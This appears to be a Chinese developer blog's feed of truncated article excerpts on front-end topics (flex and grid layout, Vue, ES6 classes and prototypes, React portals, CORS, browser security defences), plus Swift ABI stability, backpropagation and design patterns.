想要使用flex布局，首先需要给父元素指定为flex布局，这样容器内的元素才能实现flex布局：

<div class="container"></div>

.container {
 display: flex | inline-flex;
}

这里有两种方式可以设置flex布局，使用display: flex;会生成一个块状的flex容器盒子，使用display: inline-flex;会生成一个行内的flex容器盒子。如果我们使用块状元素，比如div标签，就可以使用flex，如果使用行内元素，就可以使用inline-flex。多数情况下，我们会使用display: flex;。

父元素（容器）可以设置以下六个属性：

flex-direction
flex-wrap
flex-flow
justify-content
align-items
align-content

1. flex-direction

flex-direction：主轴方向，它决定了容器内元素排列方向，它有四个属性值：

.container {
 flex-direction: row | row-reverse | column | column-reverse;
}

（1）flex-direction: row：默认值，沿水平主轴从左到右排列，起点在左沿

（2）flex-direction: row-reverse：沿水平主轴从右到左排列，起点在右沿

（3）flex-direction: column：沿垂直主轴从上到下排列，起点在上沿

v-for

Sat, 05 Oct 2024 00:00:00 +0800

在 Vue.js 开发中，v-for 是我们用来遍历数组、对象或其他数据结构的核心指令。然而，很多开发者可能忽略了其中的一个细微差别：in 和 of。这两个关键字看似相似，但却有各自不同的使用场景和适用数据类型。理解它们的区别，可以帮助我们编写更简洁、高效的代码。

本文将详细探讨 v-for 中的 in 和 of，并讲解它们各自的适用场景，帮助你在 Vue.js 项目中做出最佳选择。

什么是 `v-for`？

v-for 是 Vue.js 提供的用于遍历数据的指令，它可以帮助你快速渲染列表、表格等动态生成的内容。在使用 v-for 时，我们通常需要遍历一个数据集合，并将每一项绑定到 DOM 元素上。

`in` 和 `of` 的概念

v-for 中的 in 和 of 是遍历数据时的两个常用关键字，它们的主要区别在于：in 更通用，可以遍历数组、对象和整数范围；而 of 专注于遍历可迭代对象（如数组、字符串、Set、Map 等） 。

接下来，我们深入探讨它们的具体用法及差异。

1. `in`：适用于数组、对象、整数范围

1.1 遍历数组

in 是 Vue.js 中默认推荐的方式，用于遍历数组中的元素。你可以轻松地用 in 处理数组中的每个值。

<ul>
  <li v-for="item in items">{{ item }}</li>
</ul>

假设 items = ['apple', 'banana', 'cherry']，输出结果为：

<li>apple</li>
<li>banana</li>
<li>cherry</li>

1.2 遍历对象

当你需要遍历对象的键和值时，in 也非常方便。通过 (value, key) 语法，你可以轻松获取对象的键和值。

Class

Wed, 02 Oct 2024 00:00:00 +0800

Class 的基本语法

简介

类的由来

JavaScript 语言中，生成实例对象的传统方法是通过构造函数。下面是一个例子。

function Point(x, y) {
 this.x = x;
 this.y = y;
}

Point.prototype.toString = function () {
 return '(' + this.x + ', ' + this.y + ')';
};

var p = new Point(1, 2);

上面这种写法跟传统的面向对象语言（比如 C++ 和 Java）差异很大，很容易让新学习这门语言的程序员感到困惑。

ES6 提供了更接近传统语言的写法，引入了 Class（类）这个概念，作为对象的模板。通过class关键字，可以定义类。

基本上，ES6 的class可以看作只是一个语法糖，它的绝大部分功能，ES5 都可以做到，新的class写法只是让对象原型的写法更加清晰、更像面向对象编程的语法而已。上面的代码用 ES6 的class改写，就是下面这样。

class Point {
 constructor(x, y) {
 this.x = x;
 this.y = y;
 }

 toString() {
 return '(' + this.x + ', ' + this.y + ')';
 }
}

上面代码定义了一个“类”，可以看到里面有一个constructor()方法，这就是构造方法，而this关键字则代表实例对象。这种新的 Class 写法，本质上与本章开头的 ES5 的构造函数Point是一致的。

Point类除了构造方法，还定义了一个toString()方法。注意，定义toString()方法的时候，前面不需要加上function这个关键字，直接把函数定义放进去了就可以了。另外，方法与方法之间不需要逗号分隔，加了会报错。

ES6 的类，完全可以看作构造函数的另一种写法。

class Point {
 // ...
}

typeof Point // "function"
Point === Point.prototype.constructor // true

上面代码表明，类的数据类型就是函数，类本身就指向构造函数。

使用的时候，也是直接对类使用new命令，跟构造函数的用法完全一致。

class Bar {
 doStuff() {
 console.log('stuff');
 }
}

const b = new Bar();
b.doStuff() // "stuff"

构造函数的prototype属性，在 ES6 的“类”上面继续存在。事实上，类的所有方法都定义在类的prototype属性上面。

原型链与继承

Tue, 01 Oct 2024 00:00:00 +0800

JavaScript 中没有类的概念的，主要通过原型链来实现继承。通常情况下，继承意味着复制操作，然而 JavaScript 默认并不会复制对象的属性，相反，JavaScript 只是在两个对象之间创建一个关联（原型对象指针），这样，一个对象就可以通过委托访问另一个对象的属性和函数，所以与其叫继承，委托的说法反而更准确些。

原型

当我们 new 了一个新的对象实例，明明什么都没有做，就直接可以访问 toString 、valueOf 等原生方法。那么这些方法是从哪里来的呢？答案就是原型。

在控制台打印一个空对象时，我们可以看到，有很多方法，已经“初始化”挂载在内置的 __proto__ 对象上了。这个内置的 __proto__ 是一个指向原型对象的指针，它会在创建一个新的引用类型对象时（显示或者隐式）自动创建，并挂载到新实例上。当我们尝试访问实例对象上的某一属性 / 方法时，如果实例对象上有该属性 / 方法时，就返回实例属性 / 方法，如果没有，就去 __proto__ 指向的原型对象上查找对应的属性 / 方法。这就是为什么我们尝试访问空对象的 toString 和 valueOf 等方法依旧能访问到的原因，JavaScript 正式以这种方式为基础来实现继承的。

构造函数

如果说实例的 __proto__ 只是一个指向原型对象的指针，那就说明在此之前原型对象就已经创建了，那么原型对象是什么时候被创建的呢？这就要引入构造函数的概念。

其实构造函数也就只是一个普通的函数而已，如果这个函数可以使用 new 关键字来创建它的实例对象，那么我们就把这种函数称为 构造函数。

// 普通函数
function person () {}

// 构造函数，函数首字母通常大写
function Person () {}
const person = new Person();

原型对象正是在构造函数被声明时一同创建的。构造函数被申明时，原型对象也一同完成创建，然后挂载到构造函数的 prototype 属性上：

原型对象被创建时，会自动生成一个 constructor 属性，指向创建它的构造函数。这样它俩的关系就被紧密地关联起来了。

细心的话，你可能会发现，原型对象也有自己的 __proto__ ，这也不奇怪，毕竟万物皆对象嘛。原型对象的 proto 指向的是 Object.prototype。那么 Object.prototype.__proto__ 存不存在呢？其实是不存在的，打印的话会发现是 null 。这也证明了 Object 是 JavaScript 中数据类型的起源。

Swift二进制兼容性

Sat, 02 May 2026 22:32:27 +0800

Swift二进制兼容性是指Swift编译后的二进制代码能够跨版本、跨模块正确链接和运行的能力。它由三个核心机制组成：ABI稳定（Swift 5.0）、模块稳定性（Swift 5.1）和Library Evolution。这三者共同使得Swift二进制框架的分发成为可能。

graph TD
A[Swift二进制兼容性] --> B[ABI稳定
Swift 5.0]
A --> C[模块稳定性
Swift 5.1]
A --> D[Library Evolution]
B --> B1[统一运行时
固定调用约定/内存布局]
C --> C1[.swiftinterface
跨编译器版本导入模块]
D --> D1[运行时布局查询
库可独立于客户端更新]
B1 --> E[二进制框架分发]
C1 --> E
D1 --> E

ABI稳定

什么是ABI

ABI（Application Binary Interface，应用程序二进制接口）定义了二进制层面的接口规范，包括：

数据类型的大小和对齐方式：如Int在64位系统上是8字节
函数调用约定：参数如何传递、返回值如何获取
名称修饰（Name Mangling）规则：函数和类型在二进制中的命名方式
内存布局：对象在内存中的结构
异常处理机制：错误如何在二进制层面传播
运行时元数据格式：类型信息的存储方式

ABI vs API

特性	API（源码接口）	ABI（二进制接口）
层面	源代码层面	编译后的二进制层面
兼容性检查	编译时	链接时/运行时
关注点	函数签名、类型定义	内存布局、调用约定
变化影响	需要重新编译	需要重新链接或替换二进制

一个简单的例子：

// API层面：函数签名
func calculate(value: Int) -> Int

// ABI层面关注的是：
// - Int在内存中占多少字节
// - value参数通过哪个寄存器传递
// - 返回值通过哪个寄存器返回
// - 函数在二进制中的符号名是什么

ABI不稳定时期的问题

在Swift 5.0之前，Swift的ABI是不稳定的。这意味着：

反向传播算法

Sat, 02 May 2026 22:32:27 +0800

在上一篇文章中，我们构建了一个神经网络，了解了前向传播是如何产生预测的，也知道了损失函数可以衡量预测有多差。但我们遗留了最核心的问题：那13,002个参数到底该怎么调整，才能让网络变得更好？

这就是反向传播算法（Backpropagation）要回答的问题。它是神经网络学习的核心引擎，几乎所有现代深度学习的训练都建立在它之上。

一、梯度下降：从直觉开始

1.1 一个简单的类比

想象你站在一片浓雾中的山地上，看不到全貌，但你能感受到脚下地面的倾斜方向。你的目标是找到最低的山谷。最自然的策略是什么？

顺着脚下最陡的下坡方向走一小步。

这就是**梯度下降（Gradient Descent）**的核心思想。

1.2 数学表述

假设损失函数 $L$ 取决于所有参数 $\theta = (w_1, w_2, ..., w_n, b_1, b_2, ..., b_m)$。

梯度是一个向量，指向损失增长最快的方向：

$$\nabla L = \left(\frac{\partial L}{\partial w_1}, \frac{\partial L}{\partial w_2}, \cdots, \frac{\partial L}{\partial b_m}\right)$$

梯度的每个分量告诉我们：如果微微增大某个参数，损失会增加多少。

要降低损失，我们朝梯度的反方向迈步：

$$\theta_{\text{new}} = \theta_{\text{old}} - \eta \cdot \nabla L$$

其中 $\eta$ 是学习率（learning rate），控制每一步的步长。

1.3 学习率的微妙之处

学习率	下降行为	结果
太小	每步挪动极小，到达局部最小值后就停住了，无法跳出	收敛极慢，可能困在局部最小值
太大	一步跨过了最低点，又跨回来，反复来回	在最低点附近震荡，甚至发散
合适	每步大小适中，沿着曲面稳步走向谷底	稳步下降，逐渐逼近最优解

1.4 梯度下降的关键问题

现在整个问题归结为一件事：怎么高效地计算 $\nabla L$，即损失对每一个参数的偏导数？

你可能会想：对每个参数微微扰动一下，看看损失变化了多少。但如果有13,002个参数，每个参数都扰动一次，就需要做13,002次前向传播——太慢了。

责任链模式

Sat, 02 May 2026 22:32:27 +0800

定义

责任链模式（Chain of Responsibility Pattern）是一种行为型设计模式，它将请求的发送者和接收者解耦，让多个对象都有机会处理请求。将这些对象连成一条链，并沿着这条链传递请求，直到有一个对象处理它为止。

责任链模式的核心思想是：避免请求发送者与接收者耦合在一起，让多个对象都有可能接收请求，将这些对象组成一条链，并沿着这条链传递请求，直到有对象处理它为止。

为什么需要责任链模式

问题场景：假设我们正在开发一个审批系统，不同金额的报销需要不同级别的人员审批。

最直接的方式可能是这样：

class ExpenseApproval {
 func approve(amount: Double) {
 if amount <= 1000 {
 // 组长审批
 teamLeaderApprove(amount)
 } else if amount <= 5000 {
 // 部门经理审批
 departmentManagerApprove(amount)
 } else if amount <= 10000 {
 // 总监审批
 directorApprove(amount)
 } else {
 // CEO审批
 ceoApprove(amount)
 }
 }

 func teamLeaderApprove(_ amount: Double) { ... }
 func departmentManagerApprove(_ amount: Double) { ... }
 func directorApprove(_ amount: Double) { ... }
 func ceoApprove(_ amount: Double) { ... }
}

这种方式有什么问题？

前端组件化开发

Thu, 07 Aug 2025 00:00:00 +0800

背景

不知道你有没有遇到过以下场景:

页面逻辑越来越多,代码越来越庞大,写到后面难以 hold 住所有逻辑,很容易牵一发而动全身.
你负责的页面好好的突然出现问题,查到最后是别人代码影响.
同样的逻辑在多个地方重复书写,每次一改要改一批文件

随着前端项目复杂度的急剧增加, 上面列出的几种场景就是传统开发中会出现的问题. 也是前端组件化出现的原因.

项目复杂度增加, 一个页面一个文件需要处理的内容过多.
重复性劳动多, 效率低
质量差, 不可控

组件化初探

正是由于出现了这样的问题, 为了在越来越复杂的前端项目中提高开发效率和保证开发质量, 各路大神们开始通过各种方式来尝试解决问题.

曾经非常火的 jQuery 就基于自己建立了 jQuery 插件机制. 你可以将一些常用逻辑进行封装变成 jQuery 插件, 还可以将插件开源进行共享. 比如纯手写会吐血的日期时间选择器,轮播, 多级菜单等等. 你可以在这里浏览更多jQuery插件.

jQuery 插件的用法通常是:

$(".select").pluginName(config)

除了 jQuery 插件模式, 还有一种常见模式是对象模式. 这种模式现在仍然有很多优秀的库在被我们直接或者间接使用. 比如: swiper

对象模式的写法:

<!-- Slider main container -->
<div class="swiper-container">
 <!-- Additional required wrapper -->
 <div class="swiper-wrapper">
 <!-- Slides -->
 <div class="swiper-slide">Slide 1</div>
 <div class="swiper-slide">Slide 2</div>
 <div class="swiper-slide">Slide 3</div>
 ...
 </div>
</div>

<script src="path/to/swiper.min.js"></script>
<script>
 var mySwiper = new Swiper ('.swiper-container', {
 direction: 'vertical',
 loop: true,
 })
 </script>

对象模式通过配置创建对象, 通常创建对象的参数中有一项是元素/元素选择器, 通过js代码将逻辑与这个元素紧密绑定.

CDN原理

Mon, 28 Jul 2025 00:00:00 +0800

CDN

CDN 即内容分发网络（Content Delivery Network）的简称，是建立在承载网基础上的虚拟分布式网络，能够将源站内容（包括各类动静态资源）智能缓存到全球各节点服务器上。这样不仅方便了用户就近获取内容，提高了资源的访问速度，也分担了源站压力。

CNAME、A 记录、NS 记录

DNS ( Domain Name System，域名系统)提供了将域名转换为 IP 地址的服务。为了完成这个转化工作，DNS 的数据库中需要维护相关的数据，这些数据被叫做 RR（Resource Record，资源记录）。资源记录有很多种类型，比如 A、NS、SOA、CNAME 和 PTR 记录。

大家接触最多的就是 A（Address）记录。A 记录是一条从域名到 IP 地址的映射记录。而 CNAME（Canonical Name）记录是一条从域名到域名的映射记录。它在 CDN 技术中有举足轻重的作用，很好地实现了业务域名与 CDN 系统域名的解耦。简单理解，如果一个域名配置了 A 记录，DNS 就会把它解析成 A 记录指定的 IP 地址；如果一个域名配置了 CNAME 记录，DNS 就会把它解析成 CNAME 记录指定的另外一个域名；A 记录和 CNAME 记录是互斥的，不能同时存在。

NS （Name Server）记录是和 DNS 服务器相关的一条记录，它指定该域名应该由哪一台 DNS 服务器进行解析。一般把通过 NS 记录指定的 DNS 服务器叫做该域名的权威 DNS 服务器。

加速域名

加速域名指需要使用 CDN 加速的域名。加速域名也是一个域名。加速域名一般配置 CNAME 记录，指向 CDN 网络节点。普通域名一般配置 A 记录，指向提供服务的业务服务器。

Fragment 和 Portals

Tue, 17 Dec 2024 00:00:00 +0800

一、Portals

某些情况下，我们希望渲染的内容独立于父组件，甚至独立于当前挂在的DOM元素（默认都是挂载到id为root的DOM元素上的）

Portal提供了一种将子节点渲染到存在于父组件以外的DOM节点的优秀的方案：

ReactDOM.createPortal(child, container)

第一个参数：是任何可渲染的React子元素，例如一个元素、字符串或fragment 第二个参数：是一个DOM元素

通常来讲，当你从组件的 render 方法返回一个元素时，该元素将被挂载到 DOM 节点中离其最近的父节点：

render() {
 // React 挂载了一个新的 div，并且把子元素渲染其中
 return (
 <div>
 {this.props.children}
 </div>
 );
}

然而，有时候将子元素插入到 DOM 节点中的不同位置也是有好处的：

render() {
 // React 并没有创建一个新的 div。它只是把子元素渲染到 `domNode` 中。
 // `domNode` 是一个可以在任何位置的有效 DOM 节点。
 return ReactDOM.createPortal(
 this.props.children,
 domNode
 );
}

一个 portal 的典型用例是当父组件有 overflow: hidden 或 z-index 样式时，但你需要子组件能够在视觉上“跳出”其容器。例如，对话框、悬浮卡以及提示框

案例

比如将h2挂在到id为zs的节点下

index.html

<!DOCTYPE html>
<html lang="en">
 <head>
 <meta charset="utf-8" />
 <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
 <meta name="viewport" content="width=device-width, initial-scale=1" />
 <meta name="theme-color" content="#000000" />
 <meta
 name="description"
 content="Web site created using create-react-app"
 />
 <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
 <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
 <title>React App</title>
 </head>
 <body>
 <noscript>You need to enable JavaScript to run this app.</noscript>
 <div id="root"></div>
 <div id="zs"></div>
 </body>
</html>

App.jsx

浏览器的安全性

Tue, 17 Dec 2024 00:00:00 +0800

浏览器安全性是前端开发中的重要考察点之一，主要指浏览器在访问网站过程中如何防止攻击者利用漏洞或机制实施攻击、窃取数据、破坏用户体验等。

一、常见的浏览器安全威胁

1. XSS（跨站脚本攻击）

原理：攻击者注入恶意脚本到网页中，在用户浏览页面时执行。
危害：窃取 cookie、伪造操作、传播蠕虫。
防御：
对输出进行HTML转义；
使用 Content Security Policy（CSP）；
严格控制用户输入（白名单）；
使用框架自动防御（如 React 的 JSX 自动转义）。

2. CSRF（跨站请求伪造）

原理：用户登录目标网站后，被诱导访问恶意链接，触发网站上的有状态请求。
危害：修改密码、转账等敏感操作被伪造。
防御：
使用 CSRF Token；
Referer 验证；
SameSite Cookie 属性限制第三方请求。

3. 点击劫持（Clickjacking）

原理：攻击者在页面上嵌入透明 iframe，引诱用户点击。
防御：
禁止网页被嵌入 iframe：X-Frame-Options: DENY / SAMEORIGIN；
使用 CSP 中的 frame-ancestors 指定允许嵌入的来源。

4. 恶意文件上传

原理：上传可执行脚本，触发服务端或客户端执行。
防御：
严格限制文件类型与大小；
不在上传目录下执行脚本；
设置 CDN 或存储桶只读访问权限。

5. 恶意第三方脚本（供应链攻击）

原理：攻击者污染 CDN 或依赖源，注入恶意代码。
防御：
使用子资源完整性校验（Subresource Integrity, SRI）；
只信任可靠的依赖源；
上线前锁定依赖版本。

二、浏览器原生安全机制

1. 同源策略（Same-Origin Policy）

限制不同源之间访问 Cookie、DOM、LocalStorage 等。
同源指：协议、域名、端口号都相同。

2. CORS（跨域资源共享）

浏览器通过预检请求和响应头判断是否允许跨域访问。

3. Content Security Policy（CSP）

通过设置 HTTP Header 控制资源加载策略，防止 XSS 和数据泄露。
示例：

Content-Security-Policy: default-src 'self'; script-src 'self' https://trust.cdn.com;

HttpOnly: 防止 JavaScript 读取 Cookie；
Secure: 仅在 HTTPS 下传输 Cookie；
SameSite: 限制第三方请求携带 Cookie。

5. Sandbox（iframe 安全沙箱）

<iframe sandbox> 属性限制 iframe 的行为；
可防止脚本执行、表单提交等危险操作。

三、前端开发中的安全实践

安全措施	说明
输入校验	客户端和服务端都要做，优先使用白名单策略
输出编码	HTML、JavaScript、URL 编码避免 XSS 注入
HTTPS	加密传输防止中间人攻击（MITM）
使用现代框架	React/Vue/Angular 等框架天然防御 XSS
限制权限	用户行为应严格授权与验证
CSP 策略	强制资源加载来源、禁止内联脚本

四、总结

浏览器安全是前端必须掌握的重要基础知识，核心目标是 防止前端受到攻击者控制或操纵。它涉及浏览器机制、HTTP协议、安全头部、数据验证等多个维度，需要前端开发者在日常开发中养成良好安全意识与编码习惯。

跨域通信

Mon, 14 Oct 2024 00:00:00 +0800

什么是跨域

在了解跨域之前，我们必须要了解一下同源策略。跨域问题其实就是浏览器的同源策略造成的。

同源策略

同源策略限制了从同一个源加载的文档或脚本如何与另一个源的资源进行交互。这是浏览器的一个用于隔离潜在恶意文件的重要的安全机制。同源指的是：协议、端口号、域名必须一致。

跨源资源共享（[CORS]，或通俗地译为跨域资源共享）是一种基于 [HTTP] 头的机制，该机制通过允许服务器标示除了它自己以外的其他[源] （域、协议或端口），使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求，该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中，浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。

为什么会产生跨域

下表给出了与 URL wmq.com/dir/page.ht… 的源进行对比的示例:

URL	是否跨域	原因
wmq.com/dir/page.ht…	同源	完全相同
wmq.com/dir/inner/a…	同源	只有路径不同
wmq.com/secure.html	跨域	协议不同
wmq.com:81/dir/etc.htm…	跨域	端口不同 ( http:// 默认端口是80)
news.company.com/dir/other.h…	跨域	主机不同

同源策略：protocol（协议）、domain（域名）、port（端口）三者必须一致。

同源政策主要限制了三个方面：

当前域下的 js 脚本不能够访问其他域下的 cookie、localStorage 和 indexDB。
当前域下的 js 脚本不能够操作访问操作其他域下的 DOM。
当前域下 ajax 无法发送跨域请求。

源政策的目的主要是为了保证用户的信息安全，它只是对 js 脚本的一种限制，并不是对浏览器的限制，对于一般的 img、或者script 脚本请求都不会有跨域的限制，这是因为这些操作都不会通过响应结果来进行可能出现安全问题的操作。

有哪些解决跨域的办法

CORS

CORS: 通过设置服务器端的响应头来允许跨域请求。这需要在服务器端进行配置，以允许特定的来源访问资源。例如，在Node.js的Express框架中，可以使用以下代码来设置CORS：

const express = require('express');
const app = express();

app.use((req, res, next) => {
 res.header('Access-Control-Allow-Origin', '*'); // 允许所有来源访问
 res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept'); // 允许的请求头
 res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS'); // 允许的请求方法
 next();
});

// 其他路由和中间件

app.listen(3000, () => {
 console.log('Server is running on port 3000');
});

减少OPTIONS请求次数

在跨域请求中，浏览器会自动处理一些非简单请求的预检流程，这包括"预检请求"（也被称为CORS预检请求）和"OPTIONS请求"。预检请求是发起一个HTTP OPTIONS请求到服务器，以确认目标资源是否支持跨域。这种机制是为了兼容同源策略而产生的，但有时这种额外的请求会导致性能问题。

Grid布局

Tue, 08 Oct 2024 00:00:00 +0800

Grid 布局是什么？

Grid 布局即网格布局，是一种新的 CSS 布局模型，比较擅长将一个页面划分为几个主要区域，以及定义这些区域的大小、位置、层次等关系。号称是最强大的的 CSS 布局方案，是目前唯一一种 CSS 二维布局。利用 Grid 布局，我们可以轻松实现类似下图布局，演示地址

Grid 布局和 flex 布局

讲到布局，我们就会想到 flex 布局，甚至有人认为竟然有 flex 布局了，似乎没有必要去了解 Grid 布局。但 flex 布局和 Grid 布局有实质的区别，那就是 flex 布局是一维布局，Grid 布局是二维布局。flex 布局一次只能处理一个维度上的元素布局，一行或者一列。Grid 布局是将容器划分成了“行”和“列”，产生了一个个的网格，我们可以将网格元素放在与这些行和列相关的位置上，从而达到我们布局的目的。

Grid 布局远比 flex 布局强大！

flex布局示例:

Grid 布局示例：

Grid 的一些基础概念

我们使用 Grid 实现一个小例子，演示 Grid 的一些基础概念，演示地址

<div class="wrapper">
 <div class="one item">One</div>
 <div class="two item">Two</div>
 <div class="three item">Three</div>
 <div class="four item">Four</div>
 <div class="five item">Five</div>
 <div class="six item">Six</div>
</div>

.wrapper {
 margin: 60px;
 /* 声明一个容器 */
 display: grid;
 /* 声明列的宽度 */
 grid-template-columns: repeat(3, 200px);
 /* 声明行间距和列间距 */
 grid-gap: 20px;
 /* 声明行的高度 */
 grid-template-rows: 100px 200px;
}
.one {
 background: #19CAAD;
}
.two {
 background: #8CC7B5;
}
.three {
 background: #D1BA74;
}
.four {
 background: #BEE7E9;
}
.five {
 background: #E6CEAC;
}
.six {
 background: #ECAD9E;
}
.item {
 text-align: center;
 font-size: 200%;
 color: #fff;
}

vue事件处理

Sat, 05 Oct 2024 00:00:00 +0800

一、DOM 事件流

想必看过《红宝书》的前端 er 对标题都不会特别陌生，我们来看看定义：当一个 HTML 元素产生一个事件时，该事件会在树形结构的 DOM 上面沿着元素节点路径进行传播，事件所经过的路径结点都会收到该事件，这个传播过程可称为 DOM 事件流。

二、DOM 事件流模型

DOM 事件流分为 捕获型事件流 和 冒泡型事件流。两种事件流分别对应三阶段 DOM 事件流模型中的捕获阶段和冒泡阶段：

捕获阶段：事件从最外面的祖先节点依次传递到最里面的后代节点
目标阶段：真正的目标节点正在处理事件的阶段
冒泡阶段：事件又从最里面的后代节点逐层传出到最外面的祖先节点

三、Vue 之事件处理

Vue 中提供了事件绑定的语法糖，我们可以很简单地在标签中直接使用 @click="handleClick($event)" 就可以绑定点击事件。

而且在 Vue 里面，Vue 的事件触发默认为冒泡过程监听，意思就是上面 @click="handleClick($event)" 中点击事件的执行是冒泡过程触发的。

四、Vue 之事件修饰符

4.1 `.capture`

捕获监听器

<div @click="log(1)" @click.capture="log(1)" style="background-color: #00f">
 <div @click="log(2)" @click.capture="log(2)" style="background-color: #66f">
 <div @click="log(3)" @click.capture="log(3)" style="background-color: #ccf">
 <div @click="log(4)" @click.capture="log(4)" style="background-color: #fff">
 点击这里
 </div>
 </div>
 </div>
</div>

控制台打印结果为：1 2 3 4 4 3 2 1

Map与Set

Wed, 02 Oct 2024 00:00:00 +0800

每当去学习ES6的时候，我都会不由自主的打开阮一峰老师的《ES6入门》去学习和查找用法，相信大多数同学也都和我一样看过阮老师写的文章。

当然大家也都知道ES6里常用的API就那么些，不多不少，用在项目中也是刚刚好。

不过在每次读到Set和Map数据结构那一章的时候，总是有点不知所措，因为我不明白实现这样的数据结构，目的是什么，意义又是什么呢

Set和Map主要的应用场景在于数组去重和数据存储，幸运的是在读了关于数据结构和算法之类的书籍后，恍然大悟的发现

原来Set是一种叫做集合的数据结构，Map是一种叫做字典的数据结构

那么下面就来了解下这两种数据结构，最后来亲手实现的一个ES6中的Set和Map吧

集合

集合是由一组无序且唯一(即不能重复)的项组成的，可以想象成集合是一个既没有重复元素，也没有顺序概念的数组
ES6提供了新的数据结构Set。它类似于数组，但是成员的值都是唯一的，没有重复的值
Set 本身是一个构造函数，用来生成 Set 数据结构
这里说的Set其实就是我们所要讲到的集合，先来看下基础用法

const s = new Set();

[2, 3, 5, 4, 5, 2, 2].forEach(x => s.add(x));

for (let i of s) {
 console.log(i); // 2 3 5 4
}

// 去除数组的重复成员
let array = [1,2,1,4,5,3];
[...new Set(array)] // [1, 2, 4, 5, 3]

具体用法如果还有不清楚的，这里我会在后面一一细说。现在还是来看一下以ES6中Set类(数据结构)为基础实现的集合吧

Set实例的属性和方法

Set的属性：
- size：返回集合所包含元素的数量
Set的方法：
- 操作方法
  - add(value)：向集合添加一个新的项
  - delete(value)：从集合中移除一个值
  - has(value)：如果值在集合中存在，返回true,否则false
  - clear(): 移除集合里所有的项
- 遍历方法
  - keys()：返回一个包含集合中所有键的数组
  - values()：返回一个包含集合中所有值的数组
  - entries：返回一个包含集合中所有键值对的数组(感觉没什么用就不实现了)
  - forEach()：用于对集合成员执行某种操作，没有返回值

创建一个集合

function Set(arr = []) { // 可以传入数组
 let items = {};
 this.size = 0; // 记录集合中成员的数量
}

module.exports = Set;

这里用{}对象来表示集合，也是因为对象不允许一个键指向两个不同的属性，保证了集合里的元素都是唯一的

高阶函数

Tue, 01 Oct 2024 00:00:00 +0800

高阶函数是指那些可以接受函数作为参数或者返回函数作为结果的函数。这种特性使得JavaScript的函数变得异常灵活和强大，为开发者提供了丰富的工具和手段来编写更加简洁、可重用和模块化的代码。

本文将详细介绍JavaScript高阶函数的概念、特性、常见用法以及在实际开发中的应用。

一、高阶函数的概念

高阶函数是函数式编程中的一个核心概念。在JavaScript中，函数是一等公民，这意味着函数可以像其他数据类型（如数字、字符串、对象等）一样被传递和操作。高阶函数正是利用了这一特性，使得函数可以作为参数传递给其他函数，或者作为其他函数的返回值。

二、高阶函数的特性

函数作为参数：高阶函数可以接受一个或多个函数作为参数。这使得我们可以将特定的行为（即函数）作为参数传递给高阶函数，从而实现更加灵活和可重用的代码。
函数作为返回值：高阶函数可以返回一个函数作为结果。这种特性允许我们创建可以动态生成新函数的函数，这些新函数可以根据需要执行不同的行为。
闭包：闭包是高阶函数的一个重要特性。闭包允许函数访问其外部作用域中的变量，即使该函数在其外部作用域之外执行。这使得高阶函数可以捕获和存储状态，从而创建更加复杂和强大的函数行为。

三、高阶函数的常见用法

数组方法：JavaScript中的数组方法（如map、filter、reduce等）都是高阶函数的典型例子。这些方法接受一个函数作为参数，并对数组中的每个元素执行该函数，从而返回一个新的数组或单一结果。

map方法：用于创建一个新数组，其结果是该数组中的每个元素调用一个提供的函数后返回的结果。
filter方法：创建一个新数组，其包含通过所提供函数实现的测试的所有元素。
reduce方法：对数组中的每个元素执行一个由您提供的reducer函数(升序执行)，将其结果汇总为单个返回值。

函数组合：函数组合是指将多个函数组合在一起形成一个新的函数。通过高阶函数，我们可以轻松地将多个函数组合在一起，从而创建一个更加复杂和强大的函数。这种技术在实际开发中非常有用，特别是当我们需要处理一系列转换或操作时。
柯里化：柯里化是一种将接收多个参数的函数转换为一系列接收单一参数的函数的技术。虽然柯里化本身不是高阶函数，但高阶函数在实现柯里化时扮演着重要角色。通过高阶函数，我们可以创建一个接受原始函数作为参数的柯里化函数，并返回一个新的函数来处理单一参数。
创建高阶函数：我们可以编写自己的高阶函数来实现特定的行为。例如，我们可以编写一个高阶函数来接受一个函数和一个数组作为参数，并返回该数组中应用该函数后的结果。

四、高阶函数在实际开发中的应用

1. 数据转换

高阶函数非常适合用于数据的转换和映射。例如，我们可以使用Array.prototype.map方法将一个数组中的每个元素转换为另一种形式。

// 定义一个高阶函数，它接受一个转换函数和一个数组作为参数
const transformArray = (transformFn, array) => array.map(transformFn);

// 定义一个简单的转换函数，将数字转换为它的平方
const square = x => x * x;

// 使用高阶函数和转换函数来处理数组
const numbers = [1, 2, 3, 4, 5];
const squaredNumbers = transformArray(square, numbers);

console.log(squaredNumbers); // 输出: [1, 4, 9, 16, 25]

在这个例子中，transformArray是一个高阶函数，它接受一个转换函数transformFn和一个数组array作为参数。然后，它使用Array.prototype.map方法来遍历数组，并对每个元素应用转换函数。

2. 事件处理

在Web开发中，事件处理是一个常见的任务。通过高阶函数，我们可以创建更加灵活和可重用的事件处理器。

// 定义一个高阶函数，它接受一个事件处理函数和一个事件类型作为参数
const createEventHandler = (handlerFn, eventType) => event => {
 if (event.type === eventType) {
 handlerFn(event);
 }
};

// 定义一个简单的事件处理函数，用于打印事件信息
const logEvent = event => console.log(`Event type: ${event.type}, Target: ${event.target}`);

// 创建一个点击事件处理器
const handleClick = createEventHandler(logEvent, 'click');

// 假设我们有一个DOM元素，我们可以为它添加事件监听器
// const button = document.querySelector('button');
// button.addEventListener('click', handleClick);

// 为了演示，我们直接调用处理器并传递一个模拟的事件对象
const mockEvent = { type: 'click', target: document.body };
handleClick(mockEvent); // 输出: Event type: click, Target: [object HTMLBodyElement]

在这个例子中，createEventHandler是一个高阶函数，它接受一个事件处理函数handlerFn和一个事件类型eventType作为参数，并返回一个新的函数。这个新的函数会检查传入的事件对象的类型是否与指定的事件类型匹配，如果匹配，则调用事件处理函数。

适配器模式

Sun, 21 Jun 2026 22:41:52 +0800

定义

适配器模式（Adapter Pattern）是一种结构型设计模式，它将一个类的接口转换成客户期望的另一个接口。适配器让原本接口不兼容的类可以合作。

适配器模式的核心思想是：通过一个中间层（适配器）来使不兼容的接口能够一起工作，而无需修改原有代码。

为什么需要适配器模式

